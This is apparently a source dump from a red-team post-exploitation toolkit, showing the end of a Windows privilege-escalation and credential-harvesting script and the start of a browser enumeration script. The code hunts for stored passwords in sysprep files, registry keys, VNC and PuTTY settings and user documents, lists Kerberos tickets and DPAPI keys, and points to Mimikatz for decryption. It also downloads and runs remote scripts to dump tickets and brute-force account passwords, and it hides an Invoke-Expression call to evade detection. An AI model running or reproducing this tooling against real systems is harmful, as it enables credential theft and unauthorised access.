$TESTXML = (Get-ChildItem "$Env:WINDIR\unattend.xml" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\unattend.xml"
}
$TESTXML = (Get-ChildItem "$Env:WINDIR\sysprep\sysprep.xml" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\sysprep\sysprep.xml"
}
$TESTXML = (Get-ChildItem "$Env:WINDIR\sysprep\sysprep.inf" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\sysprep\sysprep.inf"
}
$TESTXML = (Get-ChildItem "$Env:WINDIR\system32\sysprep.inf" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\system32\sysprep.inf"
}
$TESTXML = (Get-ChildItem "$Env:WINDIR\Panther\Unattend.xml" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\Panther\unattend.xml"
}
$TESTXML = (Get-ChildItem "$Env:WINDIR\system32\sysprep\sysprep.xml" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\system32\sysprep\sysprep.xml"
}
$TESTXML = (Get-ChildItem "$Env:WINDIR\Panther\Unattend\Unattend.xml" -EA SilentlyContinue|Select-Object *).FullName;
If($TESTXML)
{
Write-Host "[XML]:[VULNERABLE::T1552] $TESTXML" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[XML] not found: $Env:WINDIR\Panther\unattend\unattend.xml"
}
If($Verb -ieq "True")
{
Write-Host "[XML] Searching: for extra XML preference files." -ForeGroundColor Yellow
$AllUsers = "$Env:ALLUSERSPROFILE";
$XMLFiles = (Get-ChildItem -Path "$AllUsers" -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -EA SilentlyContinue).FullName;
If(-not($XMLFiles))
{
Write-Host "[XML] not found: $AllUsers extra XML files." -ForeGroundColor Red -BackGroundColor Black
}
Else
{
Write-Host "[XML]:[VULNERABLE::T1552]" -ForeGroundColor Green -BackGroundColor Black;
Write-Host $FoundXmlFile
}
}
Write-Host "`n"
#List AlwaysInstallElevated
Write-Host "REGISTRY ALWAYSINSTALLELEVATED"
Write-Host "------------------------------"
$TESTREGISTRY = Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host "[HKCU] AlwaysInstallElevated => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[HKCU] AlwaysInstallElevated: none vulnerable settings found."
}
$TESTREGISTRY = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host "[HKLM] AlwaysInstallElevated => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[HKLM] AlwaysInstallElevated: none vulnerable settings found."
}
Write-Host "`n"
#Registry raw credentials search
Write-Host "REGISTRY RAW CREDENTIALS SEARCH"
Write-Host "-------------------------------"
$StdOut = reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"|findstr 'LastUsedUsername DefaultUserName DefaultDomainName DefaultPassword';
Write-Host "$StdOut" -ForeGroundColor Green
$TESTREGISTRY = Get-Item -Path "HKLM:\SYSTEM\Current\ControlSet\Services\SNMP" -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host " [SNMP] found => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host " [SNMP] : none vulnerable settings found."
}
$TESTREGISTRY = Get-Item -Path "HKCU:\Software\SimonTatham\PuTTY\Sessions" -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host " [PuTTY] found => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host " [PuTTY] : none vulnerable settings found."
}
$TESTREGISTRY = Get-Item -Path "HKCU:\Software\ORL\WinVNC3\Password" -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host " [WinVNC3] found => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host " [WinVNC3] : none vulnerable settings found."
}
$TESTREGISTRY = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\RealVNC\WinVNC4" -Name password -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host " [WinVNC4] $TESTREGISTRY => [VULNERABLE::T1012]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host " [WinVNC4] : none vulnerable settings found."
}
$TESTREGISTRY = Get-Item -Path "HKCU:\Software\OpenSSH\Agent\Keys" -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host " [OpenSSH] found => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host " [OpenSSH] : none vulnerable settings found."
}
$TESTREGISTRY = Get-Item -Path "HKCU:\Software\TightVNC\Server" -EA SilentlyContinue;
If($TESTREGISTRY)
{
Write-Host " [TightVNC] found => [VULNERABLE::T1078]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host " [TightVNC] : none vulnerable settings found."
}
Write-Host "`n"
#LogonCredentialsPlainInMemory
Write-Host "LOGON_CREDENTIALS_PLAIN_IN_MEMORY WDIGEST"
Write-Host "-----------------------------------------"
try{
$TESTREGISTRY = Get-ItemPropertyValue -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name UseLogonCredential -EA SilentlyContinue;
If($TESTREGISTRY -Match '1')
{
Write-Host "[VULNERABLE::T1012] UseLogonCredential REG_DWORD 0X$TESTREGISTRY" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[WDIGEST] none vulnerable settings found."
}
}catch{
Write-Host "[WDIGEST] none vulnerable settings found."
}
Write-Host "`n"
Start-Sleep -Milliseconds 800
#List Stored cmdkey creds
Write-Host "STORED CMDKEY CREDENTIALS (runas)"
Write-Host "---------------------------------"
cmdkey /list|Format-Table|Out-String -Stream|Select-Object -Skip 3
Write-Host ""
#Kerberos Tickets
Write-Host "KERBEROS TICKETS"
Write-Host "----------------"
klist|Where-Object {$_ -ne ''}|Out-String -Stream|ForEach-Object {
$stringformat = If($_ -iMatch '\(0\)')
{
@{ 'ForegroundColor' = 'Red' }
}
ElseIf($_ -iMatch '\(\d+\)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544");
If(-not($bool))
{
Write-Host "[i] Low privileges detected, running on demo mode .." -ForegroundColor red -BackGroundColor Black
Write-Host "";Start-Sleep -Milliseconds 800
}
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/GetKerbTix.ps1" -OutFile "$Env:TMP\GetKerbTix.ps1"|Unblock-File
Import-Module -Name "$Env:TMP\GetKerbTix.ps1" -Force|Out-String -Stream|ForEach-Object {
$stringformat = If($_ -iMatch '^(klist failed)')
{
@{ 'ForegroundColor' = 'Red' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
Remove-Item -Path "$Env:TMP\GetKerbTix.ps1" -Force
Write-Host ""
#DPAPI MASTER KEYS
Write-Host "DPAPI MASTER KEYS"
Write-Host "-----------------"
#https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords
Get-ChildItem -Path "$Env:APPDATA\Microsoft\Protect" -EA SilentlyContinue|Select-Object Name,LastWriteTime|Format-Table|Out-String -Stream|Select -Skip 1|Select -SkipLast 1
Write-Host "Use Mimikatz 'dpapi::cred' module with /masterkey to decrypt!" -ForeGroundColor Yellow
(Get-ChildItem "$Env:APPDATA\Microsoft\Credentials" -Attributes Hidden -Force -EA SilentlyContinue).Name
(Get-ChildItem "$Env:LOCALAPPDATA\Microsoft\Credentials" -Attributes Hidden -Force -EA SilentlyContinue).Name
Write-Host "`n"
#hardcoded credentials in text\xml\log files
Write-Host "HARDCODED CREDENTIALS IN CLEARTEXT?"
Write-Host "-----------------------------------"
If(Test-Path -Path "$Env:USERPROFILE\Desktop" -EA SilentlyContinue)
{
#Build credentials dump DataTable!
$credstable = New-Object System.Data.DataTable
$credstable.Columns.Add("FileName ")|Out-Null
$credstable.Columns.Add("Catched Credentials")|Out-Null
Write-Host "[DIRECTORY] Scanning : '$Env:USERPROFILE\Desktop'"
$FilesToScan = (Get-ChildItem "$Env:USERPROFILE\Desktop" -EA SilentlyContinue).FullName|Where-Object {$_ -iMatch '(.log|.txt|.xml)$'}
ForEach($FoundFile in $FilesToScan)
{
$UserCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(Username|User:|user name)'}
If($UserCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$UserCreds")|Out-Null
}
$PassCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(pass|Password|passwd|login)'}
If($PassCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$PassCreds")|Out-Null
}
}
#Display Output DataTable
$credstable | Format-Table -AutoSize | Out-String -Stream | Select-Object -SkipLast 1 | ForEach-Object {
$stringformat = If($_ -iMatch '^(FileName)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
}
Else
{
Write-Host "[DIRECTORY] NotFound : '$Env:USERPROFILE\Desktop'" -ForeGroundColor Red
}
If(Test-Path -Path "$Env:ONEDRIVE\Desktop" -EA SilentlyContinue)
{
#Build credentials dump DataTable!
$credstable = New-Object System.Data.DataTable
$credstable.Columns.Add("FileName ")|Out-Null
$credstable.Columns.Add("Catched Credentials")|Out-Null
Write-Host "[DIRECTORY] Scanning : '$Env:ONEDRIVE\Desktop'"
$FilesToScan = (Get-ChildItem "$Env:ONEDRIVE\Desktop" -EA SilentlyContinue).FullName|Where-Object {$_ -iMatch '(.log|.txt|.xml)$'}
ForEach($FoundFile in $FilesToScan)
{
$UserCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(Username|User:|user name)'}
If($UserCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$UserCreds")|Out-Null
}
$PassCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(pass|Password|passwd|login)'}
If($PassCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$PassCreds")|Out-Null
}
}
#Display output DataTable
$credstable | Format-Table -AutoSize | Out-String -Stream | Select-Object -SkipLast 1 | ForEach-Object {
$stringformat = If($_ -iMatch '^(FileName)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
}
Else
{
Write-Host "[DIRECTORY] NotFound : '$Env:ONEDRIVE\Desktop'" -ForeGroundColor Red
}
If(Test-Path -Path "$Env:USERPROFILE\Documents" -EA SilentlyContinue)
{
#Build credentials dump DataTable!
$credstable = New-Object System.Data.DataTable
$credstable.Columns.Add("FileName ")|Out-Null
$credstable.Columns.Add("Catched Credentials")|Out-Null
Write-Host "[DIRECTORY] Scanning : '$Env:USERPROFILE\Documents'"
$FilesToScan = (Get-ChildItem "$Env:USERPROFILE\Documents" -EA SilentlyContinue).FullName|Where-Object {$_ -iMatch '(.log|.txt|.xml|.ini)$'}
ForEach($FoundFile in $FilesToScan)
{
$UserCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(Username|User:|user name)'}
If($UserCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$UserCreds")|Out-Null
}
$PassCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(pass|Password|passwd|login)'}
If($PassCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$PassCreds")|Out-Null
}
}
#Display output DataTable
$credstable | Format-Table -AutoSize | Out-String -Stream | Select-Object -SkipLast 1 | ForEach-Object {
$stringformat = If($_ -iMatch '^(FileName)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
}
Else
{
Write-Host "[DIRECTORY] NotFound : '$Env:USERPROFILE\Documents'" -ForeGroundColor Red
}
If(Test-Path -Path "$Env:TMP" -EA SilentlyContinue)
{
#Build credentials dump DataTable!
$credstable = New-Object System.Data.DataTable
$credstable.Columns.Add("FileName ")|Out-Null
$credstable.Columns.Add("Catched Credentials")|Out-Null
Write-Host "[DIRECTORY] Scanning : '$Env:TMP'"
$FilesToScan = (Get-ChildItem "$Env:TMP" -EA SilentlyContinue).FullName|Where-Object {$_ -iMatch '(.log|.txt|.xml)$'}
ForEach($FoundFile in $FilesToScan)
{
$UserCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(Username|User:|user name)'}
If($UserCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$UserCreds")|Out-Null
}
$PassCreds = Get-Content -Path "$FoundFile" -EA SilentlyContinue|Where-Object {$_ -iMatch '(pass|Password|passwd)'}
If($PassCreds)
{
#Adding values to output DataTable!
$FoundName = $FoundFile.Split('\\')[-1]
$credstable.Rows.Add("$FoundName","$PassCreds")|Out-Null
}
}
#Display output DataTable
$credstable | Format-Table -AutoSize | Out-String -Stream | Select-Object -SkipLast 1 | ForEach-Object {
$stringformat = If($_ -iMatch '^(FileName)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
}
Else
{
Write-Host "[DIRECTORY] NotFound : '$Env:TMP'" -ForeGroundColor Red
}
#return to pwd
cd $LocalPath
Write-Host ""
#FINAL TESTS USING SHERLOCK CMDLET
If($verb -ieq "False")
{
Import-Module -Name "$Env:TMP\Sherlock.ps1" -Force;Find-AllVulns
}
Else
{
#NOTE: FindEop.ps1 -verb 'true' - triggers dll-hijacking checks
Import-Module -Name "$Env:TMP\Sherlock.ps1" -Force;Get-DllHijack;Find-AllVulns
}
Remove-Item -Path "$Env:TMP\Sherlock.ps1" -Force -ErrorAction SilentlyContinue
#Define Batch title again because sherlock.ps1 changed it ..
$host.UI.RawUI.WindowTitle = "@FindEop $BatVersion {SSA RedTeam @2022}"
If($BruteForce -ne "false")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Brute force user accounts passwords
.EXAMPLE
PS C:\> .\FindEop.ps1 -bruteforce 'true'
Scans for EOP and brute force user account pass
.EXAMPLE
PS C:\> .\FindEop.ps1 -bruteforce 'pedro'
Scans for EOP and brute force pedro account pass
#>
#Define the type of scan
If($BruteForce -ne "true")
{
#User input account name
$UserAccountName = "$BruteForce"
}
Else
{
#Auto brute the active user account name
$UserAccountName = $([Environment]::UserName)
}
Write-Host "`nBRUTE FORCING '$UserAccountName' USER ACCOUNT"
Write-Host "[i] Dicionary file contains '59.186' passwords." -ForegroundColor Yellow
Write-Host "-----------------------------------------------"
#Download auxiliary cmdlet from my GitHub into %tmp% directory
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/modules/CredsPhish.ps1" -OutFile "$Env:TMP\CredsPhish.ps1"|Unblock-File
If(Test-Path -Path "$Env:TMP\CredsPhish.ps1" -EA SilentlyContinue)
{
powershell -File "$Env:TMP\CredsPhish.ps1" -PhishCreds Brute -Dicionary "$Env:TMP\passwords.txt" -UserAccount "$UserAccountName"
Remove-Item -Path "$Env:TMP\CredsPhish.ps1" -EA SilentlyContinue -Force
}
Else
{
Write-Host "[ERROR] Fail to download '$Env:TMP\CredsPhish.ps1'" -ForegroundColor Red -BackgroundColor Black
}
}
exit
================================================
FILE: mimiRatz/GetBrowsers.ps1
================================================
$Path = $null
$mpset = $False
$RUIUIUi0 = 'no'
$cmdletver = "1.20.7"
$IPATH = ($pwd).Path.ToString()
$param1 = $args[0] # User Inputs [Arguments]
$param2 = $args[1] # User Inputs [Arguments]
$host.UI.RawUI.WindowTitle = "@GetBrowsers v$cmdletver"
$ErrorActionPreference = "SilentlyContinue"
## Auto-Set @Args in case of User empty inputs (Set LogFile Path).
If(-not($param2)){$LogFilePath = "$env:TMP"}else{If($param2 -match '^[0-9]'){$LogFilePath = "$env:TMP";$param2 = $param2}else{$LogFilePath = "$param2";$mpset = $True}}
If(-not($param1)){
## Required (Mandatory) Parameters/args Settings
echo "`nGetBrowsers - Enumerate installed browser(s) information ." > $LogFilePath\BrowserEnum.log
echo "[ ERROR ] This script requires parameters (-args) to run ..`n" >> $LogFilePath\BrowserEnum.log
echo "Syntax: [scriptname] [-arg ] [arg ]`n" >> $LogFilePath\BrowserEnum.log
echo "The following mandatory args are available:" >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -RECON Fast recon (browsers versions interface)" >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -WINVER Enumerates remote sys default settings." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -IE Enumerates IE browser information Only." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -ALL Enumerates IE, Firefox, Chrome information." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -CHROME Enumerates Chrome browser information Only." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -FIREFOX Enumerates Firefox browser information Only." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -OPERA Enumerates Opera browser information Only." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -ADDONS Enumerates ALL browsers extentions installed." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -CLEAN Enumerates|Delete ALL browsers cache files.`n" >> $LogFilePath\BrowserEnum.log
echo "The following Optional args are available:" >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -IE `$env:TMP Enumerates browser and stores logfile to 'tmp'." >> $LogFilePath\BrowserEnum.log
echo "./GetBrowsers.ps1 -SCAN 135,139,445 Enumerates local|remote host open|closed tcp ports.`n" >> $LogFilePath\BrowserEnum.log
Get-Content $LogFilePath\BrowserEnum.log;Remove-Item $LogFilePath\BrowserEnum.log -Force
## For those who insiste in running this script outside meterpeter
If(-not(Test-Path "$env:tmp\Update-KB4524147.ps1")){
Start-Sleep -Seconds 6
}
Exit
}
## [GetBrowsers] PS Script Banner (Manual Run)
# For those who insiste in running this script outside meterpeter
#Write-Host "GetBrowsers - Enumerate installed browser(s) information." -ForeGroundColor Green
If($mpset -eq $True){Write-Host "[i] LogFile => $LogFilePath\BrowserEnum.log" -ForeGroundColor yellow}
Start-sleep -Seconds 1
If($param1 -ne "-CLEAN" -or $param1 -ne "-clean")
{
## Get Default network interface
$DefaultInterface = Test-NetConnection -ErrorAction SilentlyContinue|Select-Object -expandproperty InterfaceAlias
If(-not($DefaultInterface) -or $DefaultInterface -eq $null){$DefaultInterface = "{null}"}
## Get System Default Configurations
$RHserver = "LogonServer : "+"$env:LOGONSERVER"
$Caption = Get-CimInstance Win32_OperatingSystem|Format-List *|findstr /I /B /C:"Caption"
If($Caption){$ParseCap = $Caption -replace ' :',' :'}else{$ParseCap = "Caption : Not Found"}
## Get System Default webBrowser
$DefaultBrowser = (Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice' -ErrorAction SilentlyContinue).ProgId
If($DefaultBrowser){$Parse_Browser_Data = $DefaultBrowser.split("-")[0] -replace 'URL','' -replace 'HTML','' -replace '.HTTPS',''}else{$Parse_Browser_Data = "Not Found"}
$MInvocation = "WebBrowser : "+"$Parse_Browser_Data"+" (PreDefined)";
## Get System UserAgent string
$IntSet = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\internet settings" -Name 'User Agent' -ErrorAction SilentlyContinue|Select-Object 'User Agent'
If($IntSet){$ParsingIntSet = $IntSet -replace '@{User Agent=','UserAgent : ' -replace '}',''}else{$ParsingIntSet = "UserAgent : Not Found"}
## Get Default Gateway IpAddress (IPV4)
$RGateway = (Get-NetIPConfiguration|Foreach IPv4DefaultGateway -ErrorAction SilentlyContinue).NextHop
If(-not($RGateway) -or $RGateway -eq $null){$RGateway = "{null}"}
$nwINFO = Get-WmiObject -ComputerName (hostname) Win32_NetworkAdapterConfiguration|Where-Object { $_.IPAddress -ne $null }
$DHCPName = $nwINFO.DHCPEnabled;$ServiceName = $nwINFO.ServiceName
## Internet statistics
$recstats = netstat -s -p IP|select-string -pattern "Packets Received"
If($recstats){$statsdata = $recstats -replace ' Packets Received =','TCPReceived :'}else{$statsdata = "TCPReceived : {null}"}
$delstats = netstat -s -p IP|select-string -pattern "Packets Delivered"
If($delstats){$deliverdata = $delstats -replace ' Received Packets Delivered =','TCPDelivered :'}else{$deliverdata = "TCPDelivered : {null}"}
## Writting LogFile to the selected path in: { $param2 var }
echo "`n`nSystem Defaults" > $LogFilePath\BrowserEnum.log
echo "---------------" >> $LogFilePath\BrowserEnum.log
echo "DHCPEnabled : $DHCPName" >> $LogFilePath\BrowserEnum.log
echo "Interface : $DefaultInterface" >> $LogFilePath\BrowserEnum.log
echo "ServiceName : $ServiceName" >> $LogFilePath\BrowserEnum.log
echo "$RHserver" >> $LogFilePath\BrowserEnum.log
echo "$ParseCap" >> $LogFilePath\BrowserEnum.log
echo "$ParsingIntSet" >> $LogFilePath\BrowserEnum.log
## Get Flash Internal Name/Version
If(-not(Test-Path "$env:WINDIR\system32\macromed\flash\flash.ocx")){
echo "flashName : Not Found" >> $LogFilePath\BrowserEnum.log
}else{
$flash = Get-Item "$env:WINDIR\system32\macromed\flash\flash.ocx"|select *
$flashName = $flash.versioninfo.InternalName
echo "flashName : $flashName" >> $LogFilePath\BrowserEnum.log
}
echo "$MInvocation" >> $LogFilePath\BrowserEnum.log
echo "Gateway : $RGateway" >> $LogFilePath\BrowserEnum.log
echo "$statsdata" >> $LogFilePath\BrowserEnum.log
echo "$deliverdata" >> $LogFilePath\BrowserEnum.log
## END Off { @args -WINVER }
}
function ConvertFrom-Json20([object] $item){
$RawString = "Ad"+"d-Ty"+"pe -Ass"+"emblyNa"+"me System.W"+"eb.Ext"+"ensions" -Join ''
$JavaSerial = "System.W"+"eb.Scri"+"pt.Serial"+"ization.Jav"+"aScriptSe"+"rializer" -Join ''
$RawString|&('Sex' -replace 'S','I')
$powers_js = New-Object $JavaSerial
return ,$powers_js.DeserializeObject($item)
}
function BROWSER_RECON {
#Build output DataTable!
$datatable = New-Object System.Data.DataTable
$datatable.Columns.Add("Browser")|Out-Null
$datatable.Columns.Add("Install")|Out-Null
$datatable.Columns.Add("Status")|Out-Null
$datatable.Columns.Add("Version")|Out-Null
$datatable.Columns.Add("PreDefined")|Out-Null
## New MicrosoftEdge Update have changed the binary name to 'msedge' ..
$fpatth = "HKLM:\SOFT"+"WARE\Microsoft\In"+"ternet Explorer" -join ''
$CheckVersion = (Get-ItemProperty -Path "$fpatth" -EA SilentlyContinue).version.ToString()
If($CheckVersion -lt '9.11.18362.0'){$ProcessName = "MicrosoftEdge"}else{$ProcessName = "msedge"}
$IETestings = (Get-Process $ProcessName -ErrorAction SilentlyContinue).Responding
If($IETestings -eq $True){$iStatus = "Active"}else{$iStatus = "Stoped"}
$FFTestings = (Get-Process firefox -ErrorAction SilentlyContinue).Responding
If($FFTestings -eq $True){$fStatus = "Active"}else{$fStatus = "Stoped"}
$CHTestings = (Get-Process chrome -ErrorAction SilentlyContinue).Responding
If($CHTestings -eq $True){$cStatus = "Active"}else{$cStatus = "Stoped"}
$OStatus = (Get-Process opera -ErrorAction SilentlyContinue).Responding
If($OStatus -eq $True){$OStatus = "Active"}else{$OStatus = "Stoped"}
$sfStatus = (Get-Process safari -ErrorAction SilentlyContinue).Responding
If($sfStatus -eq $True){$sfStatus = "Active"}else{$sfStatus = "Stoped"}
$BrStatus = (Get-Process brave -ErrorAction SilentlyContinue).Responding
If($BrStatus -eq $True){$BrStatus = "Active"}else{$BrStatus = "Stoped"}
## Detect ALL Available browsers Installed and the PreDefined browser name
$DefaultBrowser = (Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice' -ErrorAction SilentlyContinue).ProgId
If($DefaultBrowser){$MInvocation = $DefaultBrowser.split("-")[0] -replace 'URL','' -replace 'HTML','' -replace '.HTTPS',''}else{$MInvocation = $null}
$IEVersion = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer" -ErrorAction SilentlyContinue).version
If($IEVersion){$IEfound = "Found"}else{$IEfound = "False";$IEVersion = "{null}"}
$Chrome_App = (Get-ItemProperty "HKCU:\Software\Google\Chrome\BLBeacon" -ErrorAction SilentlyContinue).version
If($Chrome_App){$CHfound = "Found"}else{$CHfound = "False";$Chrome_App = "{null}"}
$SafariData = (Get-ChildItem -Path "${Env:PROGRAMFILES(X86)}\Safari\Safari.exe" -EA SilentlyContinue).VersionInfo.ProductVersion.ToString()
If($SafariData){$SFfound = "Found"}else{$SFfound = "False";$SafariData = "{null}"}
$BraveData = (Get-ChildItem -Path "$Env:PROGRAMFILES\BraveSoftware\Brave-Browser\Application\brave.exe" -EA SilentlyContinue).VersionInfo.ProductVersion.ToString()
If($BraveData){$Brfound = "Found"}else{$Brfound = "False";$BraveData = "{null}"}
#Check Opera versions number
If($MInvocation -iMatch 'Opera')
{
$OPfound = "Found"
If(Test-Path -Path "$Env:LOCALAPPDATA\Programs" -Filter "Opera???" -EA SilentlyContinue)
{
$OPData = (Get-ChildItem -Path "$Env:LOCALAPPDATA\Programs\Opera???\launcher.exe").VersionInfo.ProductVersion.ToString()
}
Else{$OPData = "{null}"}
}
Else
{
$OPfound = "False"
}
## display predefined browser status
If($MInvocation -iMatch 'IE'){$id = "True";$fd = "False";$cd = "False";$OP = "False";$SF = "False";$Br = "False"}
If($MInvocation -iMatch 'brave'){$id = "False";$fd = "False";$cd = "False";$OP = "False";$SF = "False";$Br = "True"}
If($MInvocation -iMatch 'Opera'){$id = "False";$fd = "False";$cd = "False";$OP = "True";$SF = "False";$Br = "False"}
If($MInvocation -iMatch 'Safari'){$id = "False";$fd = "False";$cd = "False";$OP = "False";$SF = "True";$Br = "False"}
If($MInvocation -iMatch 'Chrome'){$id = "False";$fd = "False";$cd = "True";$OP = "False";$SF = "False";$Br = "False"}
If($MInvocation -iMatch 'Firefox'){$id = "False";$fd = "True";$cd = "False";$OP = "False";$SF = "False";$Br = "False"}
If($MInvocation -iMatch 'MSEdgeHTM'){$id = "True";$fd = "False";$cd = "False";$OP = "False";$SF = "False";$Br = "False"}
If(-not($MInvocation) -or $MInvocation -eq $null){$id = "{Null}";$fd = "{Null}";$cd = "{Null}";$OP = "{Null}";$SF = "{Null}";$Br = "{Null}"}
## leak Firefox installed version
If(-not(Test-Path -Path "$env:APPDATA\Mozilla\Firefox\Profiles"))
{
$FFfound = "False";
$ParsingData = "{null}"
}
Else
{
$FFfound = "Found"
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\prefs.js"))
{
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\prefs.js"))
{
$ParsingData = "{null}"
}
Else
{
$Preferencies = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\prefs.js"
$JsPrefs = Get-content $Preferencies|Select-String "extensions.lastPlatformVersion"
$ParsingData = $JsPrefs[0] -replace 'user_pref\(','' -replace '\"','' -replace ',','' -replace '\);','' -replace 'extensions.lastPlatformVersion','' -replace ' ',''
}
}
Else
{
$Preferencies = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\prefs.js"
$JsPrefs = Get-content $Preferencies|Select-String "extensions.lastPlatformVersion"
$ParsingData = $JsPrefs[0] -replace 'user_pref\(','' -replace '\"','' -replace ',','' -replace '\);','' -replace 'extensions.lastPlatformVersion','' -replace ' ',''
}
}
#Adding values to output DataTable!
